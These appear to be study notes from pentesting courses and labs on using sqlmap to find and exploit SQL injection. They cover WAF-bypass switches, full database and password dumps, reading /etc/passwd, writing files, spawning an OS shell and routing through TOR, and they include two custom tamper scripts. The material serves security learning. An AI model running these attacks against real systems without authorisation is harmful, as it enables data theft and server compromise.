SQLMap

sqlmapessentials sqlilab sqlmap adventofcyber2 ccpentesting

sqlmap (30.3k ⭐) is a tool to detect and automatically exploit SQLi. While it may perform just fine out of the box, we will have to configure it adequately for complex targets to avoid false negatives.

$ sudo apt install -y sqlmap

To ensure the request (such as a POST request) is correct, we usually capture it using a tool such as Burp Intruder or from a web browser network tab, by right-clicking on the request and selecting Copy value as cURL. This ensures headers and cookies are properly configured.

Where to learn? πŸŽ“


Basic Overview

sqlmapessentials sqlilab sqlmap adventofcyber2

To use the tool, we must first find a potentially vulnerable form/URL.

$ sqlmap -u example.com/?id=1 [...]              # GET
$ sqlmap -u example.com --data="id=1&p=0" [...]  # POST
$ sqlmap -u example.com --data-raw "id=1" [...]  # POST (cURL)
$ sqlmap -u URL --data="id=1" --method PUT [...] # PUT
$ sqlmap [...] -H 'Cookie: id=1' # add a header
$ sqlmap [...] --cookie='id=1'   # add a cookie
# see also: --host, --referer, -A/--user-agent, --mobile

After that, the tool will ask us a few questions to configure itself. We can skip them and use default values using --batch.

$ sqlmap [...] --batch

To configure the exploitation of a detected SQLi, refer to this.

Configuration 🐍️

  • --parse-errors: display DBMS errors in sqlmap output
  • -t /tmp/log.txt: save sqlmap traffic to a file
  • -v n: set the verbosity (0-6)
  • --threads n: use $n$ threads
  • --flush-session: clear cache

Security bypass πŸ”

  • --random-agent: bypass some WAF/...
  • --csrf-token="xxx": indicate a non-standard CSRF cookie
  • --randomize=xxx: randomize values for parameter xxx
  • --eval="xxx=5": python code to compute parameter xxx
  • --chunked: split the request in chunks (if supported, e.g. ASP)

SQLMap Tuning

Explicit Vulnerable Parameters

sqlmapessentials sqlilab sqlmap

You can specify which parameters are likely to be vulnerable using -p or by adding * after the parameter value.

$ sqlmap [...] -p id
$ sqlmap [...] --data "id=1*" # same

Explicit DBMS

sqlmapessentials sqlilab sqlmap

You can use --dbms=some_dbms to explicitly inform sqlmap that you know the DBMS. Example value: sqlite.


Tamper Scripts

sqlmapessentials

We can use pre-written Python scripts to tamper with the payload. They can be used to-bypass WAF or other security solutions.

$ sqlmap --list-tampers
$ sqlmap [...] --tamper=between,randomcase

Select SQLi Techniques

sqlmapessentials sqlilab

You can define which SQLi technique sqlmap will try:

$ sqlmap [...] --technique=BEU # Boolean Error Union

Vectors And Boundaries

sqlmapessentials

Every payload is the concatenation of a vector and a boundary (prefix+suffix). For instance, <vector>-- - with -- - the suffix.

$ sqlmap [...] --prefix="" --suffix="-- -" # example

To increase the set of vectors/boundaries tested, we use --level:

$ sqlmap [...] --level 5 # from 1 to 5, default 1

We may also increase the number of vectors/boundaries tested by increasing the risk of database entry loss or other problems.

$ sqlmap [...] --risk 3 # from 1 to 3, default 1

⚠️ Risky situations are when the SQL is using an Update/Delete.


SQLMap Exploitation

Dumping Information

sqlmapessentials sqlilab sqlmap

We may want to get some data before dumping the database.

$ sqlmap [...] --dump [...]

We also have switches for well-known queries:

  • --banner, --hostname: host information
  • --dbs, --current-db: display all databases
  • --schema: database schema
  • --tables: display tables
  • --column: display columns
  • See also: --passwords, --is-dba, --current-user

We can search for tables/columns using --search:

$ sqlmap [...] --search -T user # tables "*user*"
$ sqlmap [...] --search -C pass # columns "*pass*"

πŸ“š See also the switch --all.


Read/Write files

sqlmapessentials

It's possible to use SQLi to read/write files. This privilege is often only allowed to the DBA (--is-dba/--privileges => secure file priv).

$ sqlmap [...] --file-read "/etc/passwd"
$ sqlmap [...] --file-write "xxx.php" --file-dest "/tmp/xxx.php"

Dumping Records

sqlmapessentials sqlilab sqlmap

The most common usage is to dump data.

$ sqlmap [...] --dump [...]

As this may involve a lot of data, we often fine-tune the extraction:

  • -D xxx: only keep database xxx
  • -T xxx: only keep table xxx
  • -C xx, yy: only keep columns xx, and yy
  • --start=n/--stop=m: rows to select ([n,m])
  • --where="attr LIKE '%'": filter rows

πŸ‘‰ You can use --dump-all to dump everything in the database, but you might also want to use --exclude-sysdbs.

⚠️ Add --no-cast to ensure the values are the correct ones.

πŸ“š You can select the dump format using --dump-format.

πŸ“š Use --fresh-queries to only display the new/updated records.

Operating System Shell

sqlmapessentials sqlmap

If we can upload files, we can use sqlmap to pop a remote shell.

$ sqlmap [...] --os-shell

We may have to set the technique manually to ease sqlmap job.


Random Notes

Load Request From A File

sqlmapessentials sqlmap

Assuming you caught a request, such as below:

$ cat request1.req
HTTP / HTTP/1.0
Host: www.example.com

{
  "id": 1
}

You can load it inside sqlmap using -r:

$ sqlmap -r /path/to/request.req [...]

πŸ‘‰ See also: Burp Intruder (save a request using "Save Item").

Using A Proxy

sqlmapessentials

The following options might be handy:

  • --proxy="value": use a proxy for requests
  • --proxy-file: use a list of proxies
  • --tor: try to use TOR Socks proxy
  • --check-tor: test if TOR is correctly configured

Uncommon Techniques Switches

sqlmapessentials

  • --code=200: use status code for "YES" in boolean-based attacks
  • --titles: use diff in titles for boolean-based attacks
  • --string=xxx: use this string for "YES" in boolean-based attacks
  • --text-only: remove all HTML and compare the text content
  • --union-cols=n: increase the likelihood of a successful union-based attack by explicitly adding the number of columns (guess/...).
  • --union-char='a': dummy value for union

Second Order SQLi with SQLMap

sqlilab second_order_injection_sqlmap

We can perform some Second Order SQLi attacks using sqlmap. We would have to write a custom tamper script.

$ touch __init__.py
$ touch myscript.py
$ sqlmap --url 'URL/signup' --second-url 'URL/invoices' --tamper myscript.py --data "username=*&password="
  • The --data is associated with --url
  • The --second-url is where we may see the in-band SQLi results

Refer to hacktricks to write your tamper script.

#!/usr/bin/env python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def login_account(payload):
    with requests.Session() as s:
        s.post("http://example.com/signup", data={"username": payload, "password": "noonecare"})
        s.post("http://example.com/login", data={"username": payload, "password": "noonecare"})
        session_id = s.cookies.get("COOKIE_NAME", None)
    return "COOKIE_NAME={}".format(session_id)

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["Cookie"] = login_account(payload)
    return payload

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Automatic parameter finding

  • --crawl
  • --forms
  • -g

Out-of-band

  • --dns-domain="..."

Output

  • Content is stable: no major changes in output
  • ... dynamic: different parameters lead to different responses
  • ... reflective: parameter is present in the output
  • HTTP Basic Auth --auth-type Basic --auth-cred "username:password"
  • HTTP Cookie --cookie "XXX=yyy"

Unboxed SQLi with encoding

  • --invalid-logical: use 1=0 instead of -id to negate id
# Challenge was to pass a control-flow check to get feedback
# While the payload was encoded and SQLMap didn't properly
# encode the prefix/suffix when I tested
ORIGINAL_PAYLOAD = ""

def tamper(payload, **kwargs):
    import base64
    payload = payload.replace(ORIGINAL_PAYLOAD,"1")
    payload = f"(select 1 [...] id={payload} union select 0)"
    payload = base64.b64encode(payload.encode()).decode()
    return payload